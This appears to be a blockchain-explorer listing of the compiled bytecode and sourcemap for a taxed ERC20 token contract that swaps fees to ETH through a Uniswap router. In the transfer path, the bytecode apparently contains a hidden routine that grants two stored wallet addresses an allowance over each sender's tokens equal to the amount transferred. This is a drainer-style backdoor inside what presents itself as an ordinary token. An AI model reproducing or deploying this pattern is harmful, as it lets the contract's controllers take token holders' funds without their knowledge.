02054610aa59083610db4565b6001600160a01b038516600090815260056020526040902055610aea610acb8383610db4565b6001600160a01b03851660009081526005602052604090205490610d4e565b6001600160a01b0380851660008181526005602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610b348585610db4565b60405190815260200160405180910390a350505050565b60008184841115610b6f5760405162461bcd60e51b81526004016103a291906115e2565b506000610b7c84866117ef565b95945050505050565b600080610b9a6000546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610bc957506000546001600160a01b03858116911614155b15610d4657610bfa6064610bf4600d5460105411610be957600954610bed565b600b545b8690610df6565b90610e75565b6001549091506001600160a01b038681169116148015610c2857506002546001600160a01b03858116911614155b8015610c4d57506001600160a01b03841660009081526007602052604090205460ff16155b15610c92574360115414610c65576000601255436011555b8260126000828254610c7791906116a8565b909155505060108054906000610c8c83611806565b91905055505b6001546001600160a01b038581169116148015610cb857506001600160a01b0385163014155b15610d3b57610cc5610eb7565b6012541080610cd657504360115414155b610d135760405162461bcd60e51b815260206004820152600e60248201526d13585e0814ddd85c08131a5b5a5d60921b60448201526064016103a2565b610d386064610bf4600e5460105411610d2e57600a54610bed565b600c548690610df6565b90505b610d46858585611063565b949350505050565b600080610d5b83856116a8565b905083811015610dad5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103a2565b9392505050565b6000610dad83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610b4b565b600082610e05575060006102e8565b6000610e1183856117d0565b905082610e1e85836116c0565b14610dad5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69646164736f6e206f766572666c6f6044820152607760f81b60648201526084016103a2565b6000610dad83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506110fe565b604080516002808252606082018352600092839291906020830190803683375050600254604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c464892506004808301926020929190829003018186803b158015610f2057600080fd5b505afa158015610f34573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f5891906113cf565b81600081518110610f6b57610f6b611837565b60200260200101906001600160a01b031690816001600160a01b0316815250503081600181518110610f9f57610f9f611837565b6001600160a01b03928316602091820292909201015260025460405163d06ca61f60e01b8152600092919091169063d06ca61f90610feb906729a2241af62c00009086906004016115c9565b60006040518083038186803b15801561100357600080fd5b505afa158015611017573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261103f9190810190611492565b90508060018151811061105457611054611837565b60200260200101519250505090565b61106d838261112c565b3060009081526005602052604090205460135460ff1615801561109d57506001546001600160a01b038481169116145b80156110b1575060135462010000900460ff165b80156110c05750600f54601054115b156110f8576008548111156110ec576110ec6110e7836110e2846008546111c1565b6111c1565b6111d6565b476110f647611356565b505b50505050565b6000818361111f5760405162461bcd60e51b81526004016103a291906115e2565b506000610b7c84866116c0565b611134611394565b6003546001600160a01b03908116825260045416602082015260005b60028110156110f8576001600160a01b0384166000908152600660205260408120849184846002811061118557611185611837565b60200201516001600160a01b03166001600160a01b031681526020019081526020016000208190555080806111b990611806565b915050611150565b60008183116111d05782610dad565b50919050565b6013805460ff19166001179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061121857611218611837565b6001600160a01b03928316602091820292909201810191909152600254604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561126c57600080fd5b505afa158015611280573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112a491906113cf565b816001815181106112b7576112b7611837565b6001600160a01b0392831660209182029290920101526002546112dd91309116846107ad565b60025460405163791ac94760e01b81526001600160a01b039091169063791ac9479061131690859060009086903090429060040161166c565b600060405180830381600087803b15801561133057600080fd5b505af1158015611344573d6000803e3d6000fd5b50506013805460ff1916905550505050565b6003546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611390573d6000803e3d6000fd5b5050565b60405180604001604052806002906020820280368337509192915050565b6000602082840312156113c457600080fd5b8135610dad81611863565b6000602082840312156113e157600080fd5b8151610dad81611863565b600080604083850312156113ff57600080fd5b823561140a81611863565b9150602083013561141a81611863565b809150509250929050565b60008060006060848603121561143a57600080fd5b833561144581611863565b9250602084013561145581611863565b929592945050506040919091013590565b6000806040838503121561147957600080fd5b823561148481611863565b946020939093013593505050565b600060208083850312156114a557600080fd5b825167ffffffffffffffff808211156114bd57600080fd5b818501915085601f8301126114d157600080fd5b8151818111156114e3576114e361184d565b8060051b604051601f19603f830116810181811085821117156115085761150861184d565b604052828152858101935084860182860187018a101561152757600080fd5b600095505b8386101561154a57805185526001959095019493860193860161152c565b5098975050505050505050565b60008060006060848603121561156c57600080fd5b8351925060208401519150604084015190509250925092565b600081518084526020808501945080840160005b838110156115be5781516001600160a01b031687529582019590820190600101611599565b509495945050505050565b828152604060208201526000610d466040830184611585565b600060208083528351808285015260005b8181101561160f578581018301518582016040015282016115f3565b81811115611621576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b85815284602082015260a06040820152600061168b60a0830186611585565b6001600160a01b0394909416606083015250608001529392505050565b600082198211156116bb576116bb611821565b500190565b6000826116dd57634e487b7160e01b600052601260045260246000fd5b500490565b600181815b8085111561171d57816000190482111561170357611703611821565b8085161561171057918102915b93841c93908002906116e7565b509250929050565b6000610dad60ff84168360008261173e575060016102e8565b8161174b575060006102e8565b8160018114611761576002811461176b57611787565b60019150506102e8565b60ff84111561177c5761177c611821565b50506001821b6102e8565b5060208310610133831016604e8410600b84101617156117aa575081810a6102e8565b6117b483836116e2565b80600019048211156117c8576117c8611821565b029392505050565b60008160001904831182151516156117ea576117ea611821565b500290565b60008282101561180157611801611821565b500390565b600060001982141561181a5761181a611821565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461187857600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b9cd38d0222c4738ae62082455029a844d10f21c9dbea269298b6a4c241bec5d64736f6c63430008070033

Deployed Bytecode Sourcemap

3924:7716:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6455:83;;;;;;;;;;-1:-1:-1;6525:5:0;;;;;;;;;;;;-1:-1:-1;;;6525:5:0;;;;6455:83;;;;;;;:::i;:::-;;;;;;;;7292:161;;;;;;;;;;-1:-1:-1;7292:161:0;;;;;:::i;:::-;;:::i;:::-;;;4888:14:1;;4881:22;4863:41;;4851:2;4836:18;7292:161:0;4723:187:1;6732:99:0;;;;;;;;;;;;;:::i;:::-;;;9868:25:1;;;9856:2;9841:18;6732:99:0;9722:177:1;7461:314:0;;;;;;;;;;-1:-1:-1;7461:314:0;;;;;:::i;:::-;;:::i;6641:83::-;;;;;;;;;;-1:-1:-1;6641:83:0;;4369:1;10633:36:1;;10621:2;10606:18;6641:83:0;10491:184:1;6839:119:0;;;;;;;;;;-1:-1:-1;6839:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6932:18:0;6905:7;6932:18;;;:9;:18;;;;;;;6839:119;2624:148;;;;;;;;;;;;;:::i;:::-;;2410:79;;;;;;;;;;-1:-1:-1;2448:7:0;2475:6;2410:79;;-1:-1:-1;;;;;2475:6:0;;;3740:51:1;;3728:2;3713:18;2410:79:0;3594:203:1;6546:87:0;;;;;;;;;;-1:-1:-1;6618:7:0;;;;;;;;;;;;-1:-1:-1;;;6618:7:0;;;;6546:87;;5630:304;;;;;;;;;;;;;:::i;6966:167::-;;;;;;;;;;-1:-1:-1;6966:167:0;;;;;:::i;:::-;;:::i;10801:309::-;;;;;;;;;;;;;:::i;7141:143::-;;;;;;;;;;-1:-1:-1;7141:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;7249:18:0;;;7222:7;7249:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7141:143;7292:161;7367:4;7384:39;1390:10;7407:7;7416:6;7384:8;:39::i;:::-;-1:-1:-1;7441:4:0;7292:161;;;;;:::o;6732:99::-;6785:7;4429:13;4369:1;4429:2;:13;:::i;:::-;4416:26;;:10;:26;:::i;:::-;6805:18;;6732:99;:::o;7461:314::-;7559:4;7576:36;7586:6;7594:9;7605:6;7576:9;:36::i;:::-;7624:121;7633:6;1390:10;7655:89;7693:6;7655:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7655:19:0;;;;;;:11;:19;;;;;;;;1390:10;7655:33;;;;;;;;;;:37;:89::i;:::-;7624:8;:121::i;:::-;-1:-1:-1;7763:4:0;7461:314;;;;;:::o;2624:148::-;2537:6;;-1:-1:-1;;;;;2537:6:0;1390:10;2537:22;2529:67;;;;-1:-1:-1;;;2529:67:0;;;;;;;:::i;:::-;;;;;;;;;2731:1:::1;2715:6:::0;;2694:40:::1;::::0;-1:-1:-1;;;;;2715:6:0;;::::1;::::0;2694:40:::1;::::0;2731:1;;2694:40:::1;2762:1;2745:19:::0;;-1:-1:-1;;;;;;2745:19:0::1;::::0;;2624:148::o;5630:304::-;2537:6;;-1:-1:-1;;;;;2537:6:0;1390:10;2537:22;2529:67;;;;-1:-1:-1;;;2529:67:0;;;;;;;:::i;:::-;5684:11:::1;:69:::0;;-1:-1:-1;;;;;;5684:69:0::1;5710:42;5684:69:::0;;::::1;::::0;;;5764:58:::1;::::0;5781:4:::1;::::0;4429:13:::1;4369:1;4429:2;:13;:::i;:::-;4416:26;::::0;:10:::1;:26;:::i;5764:58::-;5858:11;;;;;;;;;-1:-1:-1::0;;;;;5858:11:0::1;-1:-1:-1::0;;;;;5858:19:0::1;;:21;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;5845:46:0::1;;5900:4;5907:11;;;;;;;;;-1:-1:-1::0;;;;;5907:11:0::1;-1:-1:-1::0;;;;;5907:16:0::1;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5845:81;::::0;-1:-1:-1;;;;;;5845:81:0::1;::::0;;;;;;-1:-1:-1;;;;;4032:15:1;;;5845:81:0::1;::::0;::::1;4014:34:1::0;4084:15;;4064:18;;;4057:43;3949:18;;5845:81:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5833:9;:93:::0;;-1:-1:-1;;;;;;5833:93:0::1;-1:-1:-1::0;;;;;5833:93:0;;;::::1;::::0;;;::::1;::::0;;5630:304::o;6966:167::-;7044:4;7061:42;1390:10;7085:9;7096:6;7061:9;:42::i;10801:309::-;2537:6;;-1:-1:-1;;;;;2537:6:0;1390:10;2537:22;2529:67;;;;-1:-1:-1;;;2529:67:0;;;;;;;:::i;:::-;10865:13:::1;::::0;::::1;::::0;::::1;;;10864:14;10856:49;;;::::0;-1:-1:-1;;;10856:49:0;;9170:2:1;10856:49:0::1;::::0;::::1;9152:21:1::0;9209:2;9189:18;;;9182:30;9248:25;9228:18;;;9221:53;9291:18;;10856:49:0::1;8968:347:1::0;10856:49:0::1;10916:11;::::0;-1:-1:-1;;;;;10916:11:0::1;:27;10951:21;10982:4;10988:24;10982:4:::0;-1:-1:-1;;;;;6932:18:0;6905:7;6932:18;;;:9;:18;;;;;;;6839:119;10988:24:::1;11013:1;11015::::0;11017:7:::1;2448::::0;2475:6;-1:-1:-1;;;;;2475:6:0;;2410:79;11017:7:::1;10916:125;::::0;::::1;::::0;;;-1:-1:-1;;;;;;10916:125:0;;;-1:-1:-1;;;;;4470:15:1;;;10916:125:0::1;::::0;::::1;4452:34:1::0;4502:18;;;4495:34;;;;4545:18;;;4538:34;;;;4588:18;;;4581:34;4652:15;;;4631:19;;;4624:44;11025:15:0::1;4684:19:1::0;;;4677:35;4386:19;;10916:125:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11052:12:0::1;:19:::0;;-1:-1:-1;;11082:20:0;;;;;-1:-1:-1;10801:309:0:o;7783:335::-;-1:-1:-1;;;;;7876:19:0;;7868:68;;;;-1:-1:-1;;;7868:68:0;;8422:2:1;7868:68:0;;;8404:21:1;8461:2;8441:18;;;8434:30;8500:34;8480:18;;;8473:62;-1:-1:-1;;;8551:18:1;;;8544:34;8595:19;;7868:68:0;8220:400:1;7868:68:0;-1:-1:-1;;;;;7955:21:0;;7947:68;;;;-1:-1:-1;;;7947:68:0;;6486:2:1;7947:68:0;;;6468:21:1;6525:2;6505:18;;;6498:30;6564:34;6544:18;;;6537:62;-1:-1:-1;;;6615:18:1;;;6608:32;6657:19;;7947:68:0;6284:398:1;7947:68:0;-1:-1:-1;;;;;8026:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8078:32;;9868:25:1;;;8078:32:0;;9841:18:1;8078:32:0;;;;;;;7783:335;;;:::o;8456:734::-;-1:-1:-1;;;;;8547:19:0;;8539:69;;;;-1:-1:-1;;;8539:69:0;;8016:2:1;8539:69:0;;;7998:21:1;8055:2;8035:18;;;8028:30;8094:34;8074:18;;;8067:62;-1:-1:-1;;;8145:18:1;;;8138:35;8190:19;;8539:69:0;7814:401:1;8539:69:0;-1:-1:-1;;;;;8627:19:0;;8619:67;;;;-1:-1:-1;;;8619:67:0;;6082:2:1;8619:67:0;;;6064:21:1;6121:2;6101:18;;;6094:30;6160:34;6140:18;;;6133:62;-1:-1:-1;;;6211:18:1;;;6204:33;6254:19;;8619:67:0;5880:399:1;8619:67:0;8713:1;8705:5;:9;8697:63;;;;-1:-1:-1;;;8697:63:0;;7606:2:1;8697:63:0;;;7588:21:1;7645:2;7625:18;;;7618:30;7684:34;7664:18;;;7657:62;-1:-1:-1;;;7735:18:1;;;7728:39;7784:19;;8697:63:0;7404:405:1;8697:63:0;8771:15;8789:37;8806:5;8813;8820;8789:16;:37::i;:::-;8771:55;-1:-1:-1;8840:11:0;;8837:161;;8910:4;8892:24;;;;:9;:24;;;;;;:37;;8921:7;8892:28;:37::i;:::-;8883:4;8865:24;;;;:9;:24;;;;;;;:64;;;;8947:39;;-1:-1:-1;;;;;8947:39:0;;;;;;;8978:7;9868:25:1;;9856:2;9841:18;;9722:177;8947:39:0;;;;;;;;8837:161;-1:-1:-1;;;;;9027:16:0;;;;;;:9;:16;;;;;;:27;;9048:5;9027:20;:27::i;:::-;-1:-1:-1;;;;;9008:16:0;;;;;;:9;:16;;;;;:46;9084:40;9105:18;:5;9115:7;9105:9;:18::i;:::-;-1:-1:-1;;;;;9084:16:0;;;;;;:9;:16;;;;;;;:20;:40::i;:::-;-1:-1:-1;;;;;9065:16:0;;;;;;;:9;:16;;;;;:59;;;;9140:42;;;9163:18;:5;9173:7;9163:9;:18::i;:::-;9140:42;;9868:25:1;;;9856:2;9841:18;9140:42:0;;;;;;;8528:662;8456:734;;;:::o;3136:190::-;3222:7;3258:12;3250:6;;;;3242:29;;;;-1:-1:-1;;;3242:29:0;;;;;;;;:::i;:::-;-1:-1:-1;3282:9:0;3294:5;3298:1;3294;:5;:::i;:::-;3282:17;3136:190;-1:-1:-1;;;;;3136:190:0:o;9769:1024::-;9856:7;9876:15;9916:7;2448;2475:6;-1:-1:-1;;;;;2475:6:0;;2410:79;9916:7;-1:-1:-1;;;;;9907:16:0;:5;-1:-1:-1;;;;;9907:16:0;;;:36;;;;-1:-1:-1;2448:7:0;2475:6;-1:-1:-1;;;;;9927:16:0;;;2475:6;;9927:16;;9907:36;9903:857;;;9970:75;10041:3;9970:66;9991:15;;9981:9;;:25;9980:55;;10021:14;;9980:55;;;10008:12;;9980:55;9970:5;;:9;:66::i;:::-;:70;;:75::i;:::-;10075:9;;9960:85;;-1:-1:-1;;;;;;10066:18:0;;;10075:9;;10066:18;:51;;;;-1:-1:-1;10105:11:0;;-1:-1:-1;;;;;10088:29:0;;;10105:11;;10088:29;;10066:51;:81;;;;-1:-1:-1;;;;;;10123:24:0;;;;;;:17;:24;;;;;;;;10121:26;10066:81;10062:338;;;10186:12;10171:13;;:27;10168:144;;10240:1;10222:15;:19;10280:12;10264:13;:28;10168:144;10349:5;10330:15;;:24;;;;;;;:::i;:::-;;;;-1:-1:-1;;10373:9:0;:11;;;:9;:11;;;:::i;:::-;;;;;;10062:338;10428:9;;-1:-1:-1;;;;;10419:18:0;;;10428:9;;10419:18;:43;;;;-1:-1:-1;;;;;;10441:21:0;;10457:4;10441:21;;10419:43;10416:283;;;10509:15;:13;:15::i;:::-;10491;;:33;:64;;;;10543:12;10528:13;;:27;;10491:64;10483:91;;;;-1:-1:-1;;;10483:91:0;;8827:2:1;10483:91:0;;;8809:21:1;8866:2;8846:18;;;8839:30;-1:-1:-1;;;8885:18:1;;;8878:44;8939:18;;10483:91:0;8625:338:1;10483:91:0;10605:78;10679:3;10605:69;10626:16;;10616:9;;:26;10615:58;;10658:15;;10615:58;;;10644:13;;10605:5;;:9;:69::i;:78::-;10595:88;;10416:283;10715:33;10728:5;10735;10742;10715:12;:33::i;:::-;10778:7;9769:1024;-1:-1:-1;;;;9769:1024:0:o;2805:179::-;2863:7;;2895:5;2899:1;2895;:5;:::i;:::-;2883:17;;2924:1;2919;:6;;2911:46;;;;-1:-1:-1;;;2911:46:0;;6889:2:1;2911:46:0;;;6871:21:1;6928:2;6908:18;;;6901:30;6967:29;6947:18;;;6940:57;7014:18;;2911:46:0;6687:351:1;2911:46:0;2975:1;2805:179;-1:-1:-1;;;2805:179:0:o;2992:136::-;3050:7;3077:43;3081:1;3084;3077:43;;;;;;;;;;;;;;;;;:3;:43::i;3334:246::-;3392:7;3416:6;3412:47;;-1:-1:-1;3446:1:0;3439:8;;3412:47;3469:9;3481:5;3485:1;3481;:5;:::i;:::-;3469:17;-1:-1:-1;3514:1:0;3505:5;3509:1;3469:17;3505:5;:::i;:::-;:10;3497:56;;;;-1:-1:-1;;;3497:56:0;;9522:2:1;3497:56:0;;;9504:21:1;9561:2;9541:18;;;9534:30;9600:34;9580:18;;;9573:62;-1:-1:-1;;;9651:18:1;;;9644:31;9692:19;;3497:56:0;9320:397:1;3588:132:0;3646:7;3673:39;3677:1;3680;3673:39;;;;;;;;;;;;;;;;;:3;:39::i;11338:299::-;11430:16;;;11444:1;11430:16;;;;;;;;11386:7;;;;11430:16;11444:1;11430:16;;;;;;;;-1:-1:-1;;11467:11:0;;:18;;;-1:-1:-1;;;11467:18:0;;;;11406:40;;-1:-1:-1;;;;;;11467:11:0;;;;:16;;-1:-1:-1;11467:18:0;;;;;;;;;;;;;;:11;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11457:4;11462:1;11457:7;;;;;;;;:::i;:::-;;;;;;:28;-1:-1:-1;;;;;11457:28:0;;;-1:-1:-1;;;;;11457:28:0;;;;;11514:4;11496;11501:1;11496:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;11496:23:0;;;:7;;;;;;;;;:23;11557:11;;:41;;-1:-1:-1;;;11557:41:0;;11530:24;;11557:11;;;;;:25;;:41;;11583:8;;11593:4;;11557:41;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;11557:41:0;;;;;;;;;;;;:::i;:::-;11530:68;;11616:10;11627:1;11616:13;;;;;;;;:::i;:::-;;;;;;;11609:20;;;;11338:299;:::o;9198:563::-;9285:26;9298:5;9305;9285:12;:26::i;:::-;9351:4;9313:17;6932:18;;;:9;:18;;;;;;9374:10;;;;9373:11;:33;;;;-1:-1:-1;9397:9:0;;-1:-1:-1;;;;;9388:18:0;;;9397:9;;9388:18;9373:33;:49;;;;-1:-1:-1;9410:12:0;;;;;;;9373:49;:83;;;;;9438:18;;9426:9;;:30;9373:83;9369:385;;;9488:15;;9476:9;:27;9473:114;;;9518:69;9535:51;9543:5;9550:35;9558:9;9569:15;;9550:7;:35::i;:::-;9535:7;:51::i;:::-;9518:16;:69::i;:::-;9620:21;9693:34;9705:21;9693:11;:34::i;:::-;9458:296;9369:385;9273:488;9198:563;;;:::o;3728:189::-;3814:7;3849:12;3842:5;3834:28;;;;-1:-1:-1;;;3834:28:0;;;;;;;;:::i;:::-;-1:-1:-1;3873:9:0;3885:5;3889:1;3885;:5;:::i;8126:322::-;8197:28;;:::i;:::-;8261:11;;-1:-1:-1;;;;;8261:11:0;;;8237:36;;8309:12;;;8237:13;8285;;:37;8261:11;8333:108;8359:1;8353:5;:7;8333:108;;;-1:-1:-1;;;;;8384:18:0;;;;;;:11;:18;;;;;8424:5;;8403:10;8414:5;8403:17;;;;;;;:::i;:::-;;;;;-1:-1:-1;;;;;8384:37:0;-1:-1:-1;;;;;8384:37:0;;;;;;;;;;;;:45;;;;8361:7;;;;;:::i;:::-;;;;8333:108;;11118:105;11179:7;11209:1;11207;:3;11206:9;;11214:1;11206:9;;;-1:-1:-1;11212:1:0;11118:105;-1:-1:-1;11118:105:0:o;5979:468::-;5078:10;:17;;-1:-1:-1;;5078:17:0;5091:4;5078:17;;;6080:16:::1;::::0;;6094:1:::1;6080:16:::0;;;;;::::1;::::0;;-1:-1:-1;;6080:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;6080:16:0::1;6056:40;;6125:4;6107;6112:1;6107:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6107:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;6151:11:::1;::::0;:18:::1;::::0;;-1:-1:-1;;;6151:18:0;;;;:11;;;::::1;::::0;:16:::1;::::0;:18:::1;::::0;;::::1;::::0;6107:7;;6151:18;;;;;:11;:18;::::1;;::::0;::::1;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6141:4;6146:1;6141:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6141:28:0;;::::1;:7;::::0;;::::1;::::0;;;;;:28;6212:11:::1;::::0;6180:57:::1;::::0;6197:4:::1;::::0;6212:11:::1;6226:10:::0;6180:8:::1;:57::i;:::-;6248:11;::::0;:191:::1;::::0;-1:-1:-1;;;6248:191:0;;-1:-1:-1;;;;;6248:11:0;;::::1;::::0;:62:::1;::::0;:191:::1;::::0;6325:10;;6248:11:::1;::::0;6366:4;;6393::::1;::::0;6413:15:::1;::::0;6248:191:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5118:10:0;:18;;-1:-1:-1;;5118:18:0;;;-1:-1:-1;;;;5979:468:0:o;11231:99::-;11294:11;;11286:36;;-1:-1:-1;;;;;11294:11:0;;;;11286:36;;;;;11316:5;;11294:11;11286:36;11294:11;11286:36;11316:5;11294:11;11286:36;;;;;;;;;;;;;;;;;;;;;11231:99;:::o;-1:-1:-1:-;;;;;;;;;;;;;;;;;;;;;;;;:::o;14:247:1:-;73:6;126:2;114:9;105:7;101:23;97:32;94:52;;;142:1;139;132:12;94:52;181:9;168:23;200:31;225:5;200:31;:::i;266:251::-;336:6;389:2;377:9;368:7;364:23;360:32;357:52;;;405:1;402;395:12;357:52;437:9;431:16;456:31;481:5;456:31;:::i;522:388::-;590:6;598;651:2;639:9;630:7;626:23;622:32;619:52;;;667:1;664;657:12;619:52;706:9;693:23;725:31;750:5;725:31;:::i;:::-;775:5;-1:-1:-1;832:2:1;817:18;;804:32;845:33;804:32;845:33;:::i;:::-;897:7;887:17;;;522:388;;;;;:::o;915:456::-;992:6;1000;1008;1061:2;1049:9;1040:7;1036:23;1032:32;1029:52;;;1077:1;1074;1067:12;1029:52;1116:9;1103:23;1135:31;1160:5;1135:31;:::i;:::-;1185:5;-1:-1:-1;1242:2:1;1227:18;;1214:32;1255:33;1214:32;1255:33;:::i;:::-;915:456;;1307:7;;-1:-1:-1;;;1361:2:1;1346:18;;;;1333:32;;915:456::o;1376:315::-;1444:6;1452;1505:2;1493:9;1484:7;1480:23;1476:32;1473:52;;;1521:1;1518;1511:12;1473:52;1560:9;1547:23;1579:31;1604:5;1579:31;:::i;:::-;1629:5;1681:2;1666:18;;;;1653:32;;-1:-1:-1;;;1376:315:1:o;1696:1116::-;1791:6;1822:2;1865;1853:9;1844:7;1840:23;1836:32;1833:52;;;1881:1;1878;1871:12;1833:52;1914:9;1908:16;1943:18;1984:2;1976:6;1973:14;1970:34;;;2000:1;1997;1990:12;1970:34;2038:6;2027:9;2023:22;2013:32;;2083:7;2076:4;2072:2;2068:13;2064:27;2054:55;;2105:1;2102;2095:12;2054:55;2134:2;2128:9;2156:2;2152;2149:10;2146:36;;;2162:18;;:::i;:::-;2208:2;2205:1;2201:10;2240:2;2234:9;2303:2;2299:7;2294:2;2290;2286:11;2282:25;2274:6;2270:38;2358:6;2346:10;2343:22;2338:2;2326:10;2323:18;2320:46;2317:72;;;2369:18;;:::i;:::-;2405:2;2398:22;2455:18;;;2489:15;;;;-1:-1:-1;2524:11:1;;;2554;;;2550:20;;2547:33;-1:-1:-1;2544:53:1;;;2593:1;2590;2583:12;2544:53;2615:1;2606:10;;2625:156;2639:2;2636:1;2633:9;2625:156;;;2696:10;;2684:23;;2657:1;2650:9;;;;;2727:12;;;;2759;;2625:156;;;-1:-1:-1;2800:6:1;1696:1116;-1:-1:-1;;;;;;;;1696:1116:1:o;2817:306::-;2905:6;2913;2921;2974:2;2962:9;2953:7;2949:23;2945:32;2942:52;;;2990:1;2987;2980:12;2942:52;3019:9;3013:16;3003:26;;3069:2;3058:9;3054:18;3048:25;3038:35;;3113:2;3102:9;3098:18;3092:25;3082:35;;2817:306;;;;;:::o;3128:461::-;3181:3;3219:5;3213:12;3246:6;3241:3;3234:19;3272:4;3301:2;3296:3;3292:12;3285:19;;3338:2;3331:5;3327:14;3359:1;3369:195;3383:6;3380:1;3377:13;3369:195;;;3448:13;;-1:-1:-1;;;;;3444:39:1;3432:52;;3504:12;;;;3539:15;;;;3480:1;3398:9;3369:195;;;-1:-1:-1;3580:3:1;;3128:461;-1:-1:-1;;;;;3128:461:1:o;4915:358::-;5148:6;5137:9;5130:25;5191:2;5186;5175:9;5171:18;5164:30;5111:4;5211:56;5263:2;5252:9;5248:18;5240:6;5211:56;:::i;5278:597::-;5390:4;5419:2;5448;5437:9;5430:21;5480:6;5474:13;5523:6;5518:2;5507:9;5503:18;5496:34;5548:1;5558:140;5572:6;5569:1;5566:13;5558:140;;;5667:14;;;5663:23;;5657:30;5633:17;;;5652:2;5629:26;5622:66;5587:10;;5558:140;;;5716:6;5713:1;5710:13;5707:91;;;5786:1;5781:2;5772:6;5761:9;5757:22;5753:31;5746:42;5707:91;-1:-1:-1;5859:2:1;5838:15;-1:-1:-1;;5834:29:1;5819:45;;;;5866:2;5815:54;;5278:597;-1:-1:-1;;;5278:597:1:o;7043:356::-;7245:2;7227:21;;;7264:18;;;7257:30;7323:34;7318:2;7303:18;;7296:62;7390:2;7375:18;;7043:356::o;9904:582::-;10203:6;10192:9;10185:25;10246:6;10241:2;10230:9;10226:18;10219:34;10289:3;10284:2;10273:9;10269:18;10262:31;10166:4;10310:57;10362:3;10351:9;10347:19;10339:6;10310:57;:::i;:::-;-1:-1:-1;;;;;10403:32:1;;;;10398:2;10383:18;;10376:60;-1:-1:-1;10467:3:1;10452:19;10445:35;10302:65;9904:582;-1:-1:-1;;;9904:582:1:o;10680:128::-;10720:3;10751:1;10747:6;10744:1;10741:13;10738:39;;;10757:18;;:::i;:::-;-1:-1:-1;10793:9:1;;10680:128::o;10813:217::-;10853:1;10879;10869:132;;10923:10;10918:3;10914:20;10911:1;10904:31;10958:4;10955:1;10948:15;10986:4;10983:1;10976:15;10869:132;-1:-1:-1;11015:9:1;;10813:217::o;11035:422::-;11124:1;11167:5;11124:1;11181:270;11202:7;11192:8;11189:21;11181:270;;;11261:4;11257:1;11253:6;11249:17;11243:4;11240:27;11237:53;;;11270:18;;:::i;:::-;11320:7;11310:8;11306:22;11303:55;;;11340:16;;;;11303:55;11419:22;;;;11379:15;;;;11181:270;;;11185:3;11035:422;;;;;:::o;11462:140::-;11520:5;11549:47;11590:4;11580:8;11576:19;11570:4;11656:5;11686:8;11676:80;;-1:-1:-1;11727:1:1;11741:5;;11676:80;11775:4;11765:76;;-1:-1:-1;11812:1:1;11826:5;;11765:76;11857:4;11875:1;11870:59;;;;11943:1;11938:130;;;;11850:218;;11870:59;11900:1;11891:10;;11914:5;;;11938:130;11975:3;11965:8;11962:17;11959:43;;;11982:18;;:::i;:::-;-1:-1:-1;;12038:1:1;12024:16;;12053:5;;11850:218;;12152:2;12142:8;12139:16;12133:3;12127:4;12124:13;12120:36;12114:2;12104:8;12101:16;12096:2;12090:4;12087:12;12083:35;12080:77;12077:159;;;-1:-1:-1;12189:19:1;;;12221:5;;12077:159;12268:34;12293:8;12287:4;12268:34;:::i;:::-;12338:6;12334:1;12330:6;12326:19;12317:7;12314:32;12311:58;;;12349:18;;:::i;:::-;12387:20;;11607:806;-1:-1:-1;;;11607:806:1:o;12418:168::-;12458:7;12524:1;12520;12516:6;12512:14;12509:1;12506:21